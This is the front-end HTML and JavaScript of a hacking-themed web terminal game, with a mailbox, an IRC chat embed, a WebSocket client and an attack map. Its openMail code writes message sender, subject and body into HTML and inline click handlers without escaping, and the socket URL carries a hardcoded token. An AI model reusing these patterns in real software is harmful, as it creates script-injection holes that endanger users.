                <button id='approveSharedBtn' style='margin-right: 10px; background-color: #4ade80; color: white; border: none; padding: 12px 24px; font-weight: bold; border-radius: 8px; cursor: pointer; box-shadow: 0 2px 4px rgba(0,0,0,0.2); transition: background-color 0.3s, box-shadow 0.3s;' class='font-bold mt-4 text-white rounded p-4 shadow-lg' onMouseOver='this.style.backgroundColor=\"#22c55e\"; this.style.boxShadow=\"0 4px 6px rgba(0,0,0,0.3)\";' onMouseOut='this.style.backgroundColor=\"#4ade80\"; this.style.boxShadow=\"0 2px 4px rgba(0,0,0,0.2)\";'>Approuver</button>
                <button id='rejectSharedBtn' style='background-color: #fb7185; color: white; border: none; padding: 12px 24px; font-weight: bold; border-radius: 8px; cursor: pointer; box-shadow: 0 2px 4px rgba(0,0,0,0.2); transition: background-color 0.3s, box-shadow 0.3s;' class='font-bold mt-4 text-white rounded p-4 shadow-lg' onMouseOver='this.style.backgroundColor=\"#f43f5e\"; this.style.boxShadow=\"0 4px 6px rgba(0,0,0,0.3)\";' onMouseOut='this.style.backgroundColor=\"#fb7185\"; this.style.boxShadow=\"0 2px 4px rgba(0,0,0,0.2)\";'>Rejeter</button>&nbsp;&nbsp;
            </div>

        </div>


        <div id="chatBox" class="tabcontent">
            </br>
            <span style="color:orange">#hackbbs</span></br>
            Hack FR/EN | Ezines: http://rafale.org | New challenges available \o/| => https://hackbbs.org/index.php | https://github.com/Sh0ckFR/french-ezines /</br>
            </br>
            <button id="connectToIRCButton" onclick="openChat()"><!--<img src="" alt="Connection"></img>-->Connexion</button></br>
            </br>
            Or you can join us directly through the client of your choice:</br>
            + IRC link: <span style="color:lightgreen">irc.hackint.org</span> then join <span style="color:lightgreen">#hackbbs</span></br>
            + Matrix link: <span style="color:lightgreen">#hackbbs:hackint.org</span></br>
            </br>

        </div>
    </div>
</div>

<script>
    var my_mails = $('.currentMail');
    for (var i = 0; i < my_mails.length; i++) {
        my_mails[i].addEventListener("click", function() {
            var current = $(".active");
            current.removeClass("active");
            $(this).addClass("active");
        });
    }


    $("#sendMsgButton").on("click", function() {

        var msgSendTo = $("#msgSendTo").val();
        var subject = $("#subject").val().replace(/"/g, "&quot;");
        var msgToSend = $("#msgToSend").val().replace(/"/g, "&quot;");
        var shareFile = $("#shareFile").val();

        var msg = "msg -d " + msgSendTo + " -o \"" + subject + "\" -m \"" + msgToSend + "\"";
        //alert(msg);
        //$('#terminal').terminal().exec(msg);
        executeCommand(msg);

        $("#msgSendTo").val('');
        $("#subject").val('');
        $("#msgToSend").val('');
        $("#shareFile").val('');
    });

    $("#refreshButton").on("click", function() {
        //$('#terminal').terminal().exec("messagebox -get");
        executeCommand("messagebox -get");

    });

    $("#delButton").on("click", function(id) {
        //var delmsg = $("#selectedMail").val();
        var delmsg = id;
        //$('#terminal').terminal().exec("messagebox -del "+delmsg);
        executeCommand("messagebox -del " + delmsg);
        //We select the first element in the list!
        console.log("we deleted a message so let's select the next one");
        document.evaluate('//*[@id="mails"]', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue.click();
    });


    let currentTab = "";

    function openTab(evt, tabName) {
        var i, tabcontent, tablinks;
        //console.log("Click on menu");

        $('.tabcontent').hide();
        $('.tablinks').removeClass('active');
        $('#' + tabName).show();
        $(evt.currentTarget).addClass('active');
        //$('#defaultMailTab').trigger('click');
        //$('#defaultMailTab').addClass('active');

        if (currentTab != tabName || currentTab == "") {
            if (tabName == "mailBox") {
                $('#' + tabName).show();
                //console.log("we show "+tabName);

                //$('#defaultMailTab').remove('active');
                $('#defaultMailTab').addClass('active');


            }
            currentTab = tabName;
        } else {
            console.log("CLOSE action on " + tabName);
            $('#' + tabName).hide();
            $('.tablinks').removeClass('active');

            $('.tablinks#mailboxButton').removeClass('active');
            //$('.tablinks#chatButton').addClass('active');

            //document.evaluate('//*[@id="mailboxButton"]', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue.classList.remove('active');  
            currentTab = "";
        }
        //console.log("we remove the active class");
        //$('#mailboxButton').removeClass('active');
    }
    //$('#defaultTab').trigger('click');


    function openMailTab(evt, tabName) {
        var i, tabcontent, tablinks;

        $('.mailboxcontent').hide();
        $('.mailTablinks').removeClass('active');
        $('#' + tabName).show();
        $(evt.currentTarget).addClass('active');
        console.log(tabName);
        if (tabName=="SendBox"){
            $('#inboxButtons').hide();
        }else{
            $('#inboxButtons').show();
        }

    }
    //$('#defaultMailTab').trigger('click');

    async function deleteMsg(idMsg) {
        await executeCommand('messagebox -del ' + idMsg);

    }

    function openMail(idMsg, date, auth, subj, msgo) {
        //console.log("we gona open "+msgo);
        $('#approvalSharedButtons').css('display','none');
        msgo=atob(msgo);
        msg=msgo.replace(/&#39;/g, "\\'");

        $('#selectedMail').html("</br><b>" + date + "</b></br></br><b>Sender: </b>" + auth + "</br><b>Object: </b>" + subj + "</br></br>" + msgo + "</br></br>");
        $('#inboxButtons').html("<button id=\"replyButton\" onclick=\"openMailTab(event,'SendBox'); $('#msgSendTo').val('" + auth + "'); $('#subject').val('Re: " + subj + "'); $('#msgToSend').val(''); $('shareFile').val('');\"><img id=\"replyButtonimg\" src=\"data:image/png;base64,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\" alt=\"Reply\"></img></button><button id=\"transfButton\" onclick=\"openMailTab(event,'SendBox'); $('#msgSendTo').val(''); $('#subject').val('Fw: '); $('#msgToSend').val('[" + date + " - " + auth + " - " + subj + " - " + msg + "]'); $('#shareFile').val('');\"><img id=\"transfButtonimg\" src=\"data:image/png;base64,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\" alt=\"Transfert\"></img></button><button id=\"delButton\" onclick=\"deleteMsg('" + idMsg + "');\"><img id=\"delButtonimg\" src=\"data:image/png;base64,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\" alt=\"Delete\"></img></button></br>");
        $('#inboxButtons').show();
    }

    function openChat() {
        $('#chatBox').html("</br><button id=\"leaveIRCButton\" onclick=\"quitChat()\">Disconnect</button></br><iframe id=\"chat\" frameborder=\"0\"></iframe></br>");
        var username = getCookie("username");
        if (username == null) username = 'Hacker';
        document.getElementById("chat").src = "https://irc.hackbbs.org/?username=" + username;
    }

    function quitChat() {
        $('#chatBox').html("</br><span style=\"color:orange\">#hackbbs</span></br>Hack FR/EN | Ezines: http://rafale.org | New challenges available \o/| => https://hackbbs.org/index.php | https://github.com/Sh0ckFR/french-ezines /</br></br><button id=\"connectToIRCButton\" onclick=\"openChat()\">Connexion</button></br></br>Or you can join us directly through the client of your choice:</br>+ IRC link: <span style=\"color:lightgreen\">irc.hackint.org</span> then join <span style=\"color:lightgreen\">#hackbbs</span></br>+ Matrix link: <span style=\"color:lightgreen\">#hackbbs:hackint.org</span></br></br>");
    }

    function showMailbox() {
        $('#mailboxButton').show();
        $('#defaultMailTab').addClass('active');
        console.log('we enable the inbox by default');

    }

    function clearMissions() {
        $('#missionit').empty();
    }

    function hideMailbox() {
        $('#mailboxButton').hide();
    }

    // Define the function that will call executeCommand
    function callExecuteCommand() {
        // Get the current Unix timestamp
        if (typeof termLine == 'undefined') return;
        if (termLine.includes("anonymous") || !termLine.includes("@HackBBS")) {
            //console.log("The user is unauthenticated. Let's skip the message check!")
            return;
        }

        // Check if this is the first call (no previous timestamp)
        if (typeof callExecuteCommand.firstCall === "undefined") {
            // First call: call the command without the timestamp
            executeCommand("messagebox -get");

            // Mark the first call as done
            callExecuteCommand.firstCall = false;
        } else {
            // Subsequent calls: pass the current Unix timestamp
            executeCommand(`messagebox -get ${currentTimestamp}`);
            //console.log("Refresh of the messageBox...");
        }
        currentTimestamp = Math.floor(Date.now() / 1000);
    }

    // Call the function initially (first call)
    callExecuteCommand();

    // Set an interval to repeat the call every 30 seconds
    setInterval(callExecuteCommand, 60000);


    executeCommand("messagebox -get");
</script>
    <div id="attackdiv" class="attackdiv" style="display:None">
            ⠀⢀⣠⣤⣤⣄⡀⠀<br />⣴⣿⣿⣿⣿⣿⣿⣦<br />⣿⣿⣿⣿⣿⣿⣿⣿<br />⣇⠈⠉⡿⢿⠉⠁⢸<br />⠙⠛⢻⣷⣾⡟⠛⠋<br />⠀⠀⠀⠈⠁⠀⠀⠀
        </div>

    <div id="cipherdiv" class="attackdiv" style="display:block"><canvas id='canvasWS' width='1200px' height='84px'></canvas></div>

    <div id="autostartDiv" style=""></div>

    <div id="container">

        <div id="scrolldiv">
            <div class="interlace">
                Welcome on
                <pre class="mainLogo">  ___ ___                __   ___.  ___.           
 /   |   \_____    ____ |  | _\_ |__\_ |__   ______
/    ~    \__  \ _/ ___\|  |/ /| __ \| __ \ /  ___/
\    Y    // __ \\  \___|    < | \_\ \ \_\ \\___ \ 
 \___|_  /(____  /\___  >__|_ \|___  /___  /____  > Reloaded
       \/      \/     \/     \/    \/    \/     \/  2.108.2036</pre>
                Type <span class="blink_me">help</span> to start... <span id="balance" class="balance" style="color:red; text-shadow: 0 0 5px #F00 !important;">Wallet Disconnected</span><br>
                <div id="currentIP">
                You are currently known as <span id="ip-address" class="ip-address" class="ipone" style=" ">x.x.x.x</span></br>
                ___________________________________________________
                
            </div>
            </div>
            
            <div id="terminal"></div>

        </div>



    </div>

    <div id="errorBanner" class="hidden"></div>

    <script>
        // Function to show the error banner
        function showErrorBanner(msg) {
            const errorBanner = document.getElementById('errorBanner');

            // Show the banner
            errorBanner.innerHTML = msg;
            errorBanner.classList.remove('hidden');

            // Hide the banner after 3 seconds
            setTimeout(function() {
                errorBanner.classList.add('hidden');
            }, 3000);
        }
    </script>

    <script>
        //var host = 'wss://hackbbs.org:8090/refonte/hackbbs/php/todo.php';
        //var host = 'wss://'+window.location.hostname+':8090/?token=secret';
        var host = 'wss://' + window.location.hostname + '/ws?token=secret';
        //var socket = new WebSocket(host, cookie = "session="+getCookie("PHPSESSID"));
        //let socket = new WebSocket(host);
        lastAttacks = []; //This array contains the last attacks

        // Make the function wait until the connection is made...
        delayReconnectWebSocket = 5000;

        let socket;
        let pingInterval = 10000; // 10 seconds
        let pongTimeout = 5000; // 5 seconds
        let reconnectInterval = 1000; // Initial reconnect interval in milliseconds
        let maxReconnectInterval = 30000; // Maximum reconnect interval in milliseconds
        let pingTimeout;
        let isPongReceived = true;

        let reconnectAttempts = 0;

        function attemptReconnect() {
            reconnectAttempts++;
            let timeout = Math.min(reconnectInterval * reconnectAttempts, maxReconnectInterval);
            console.log(`Reconnecting in ${timeout / 1000} seconds...`);
            setTimeout(() => {
                console.log("Attempting to reconnect...");
                createWebSocket(host);
            }, timeout);
        }

        function createWebSocket(host) {
            if (socket) {
                socket.close();
            }

            socket = new WebSocket(host);

            socket.onopen = function() {
                // Connection is open, start the ping interval
                setInterval(function() {
                    // Send a ping message or any small message to keep the connection alive
                    if (socket.readyState === WebSocket.OPEN) {
                        sendMsgSocket(JSON.stringify({
                            "type": "message",
                            "text": "ping"
                        }));

                        isPongReceived = false;
                        // Set a timeout to check if 'pong' is received
                        pingTimeout = setTimeout(() => {
                            if (!isPongReceived) {
                                //alert('Pong not received within delay!');
                                console.log('Pong not received within delay!');
                            }
                        }, pongTimeout);
                        //console.log("We pinged the websocket");
                    } else {
                        // If the connection is not open, clear the interval
                        console.log("The websocket died: " + socket.readyState);
                        /*if (socket) {
                            socket.close();
                        }*/
                        //socket = new WebSocket(host);

                        displayPostIt(false);

                        waitForSocketConnection(function() {
                            state = "started";
                            updateStateMachine(0, 'ping');
                        });

                        document.getElementById('cipherdiv').style.display = 'block';
                        animBanner = true;
                        document.getElementById('attackdiv').style.display = 'none';
                        animate();
                        clearInterval(pingInterval);
                    }
                }, pingInterval); // Send a ping every 10000 milliseconds (10 seconds)
            };

            socket.onclose = function(event) {
                console.log("WebSocket is closed now.");
                // Attempt to reconnect
                attemptReconnect();
            };

            socket.onmessage = function(e) {
                updateStateMachine(null, null);
                //console.log('message received on the ws');
                if (e.data.startsWith("threat:")) {
                    attackDiv(e.data.slice(7));
                } else if (e.data.startsWith("threatLoc:")) {
                    params = e.data.split(" ");
                    ipsrc = params[2];
                    //console.log("new attack received");
                    if (!lastAttacks.includes(ipsrc)) {
                        //console.log("attack proccessing...");
                        lastAttacks.shift();
                        srclat = params[4];
                        srclong = params[6];
                        //console.log("New attack detected: "+e.data);
                        lastAttacks.push(ipsrc);

                        boom.push({
                            radius: 7,
                            latitude: srclat,
                            longitude: srclong,
                            fillOpacity: 0.5,
                            attk: ipsrc
                        });
                        map.bubbles(boom, {
                            popupTemplate: function(geo, data) {
                                return '<div class=\"hoverinfo\">' + data.attk + '<br/><img width=\"50px\" src=\"resources/skull2.png\"></div>';
                            }
                        });

                        hits.push({
                            origin: {
                                latitude: srclat,
                                longitude: srclong
                            },
                            destination: {
                                latitude: 48.8582,
                                longitude: 2.3387
                            }
                        });
                        map.arc(hits, {
                            strokeWidth: 2,
                            strokeColor: "#FF0000"
                        });
                    }



                } else if (e.data.startsWith("pong")) {
                    clearTimeout(pingTimeout);
                    isPongReceived = true;
                    //console.log('Pong received:', e.data);

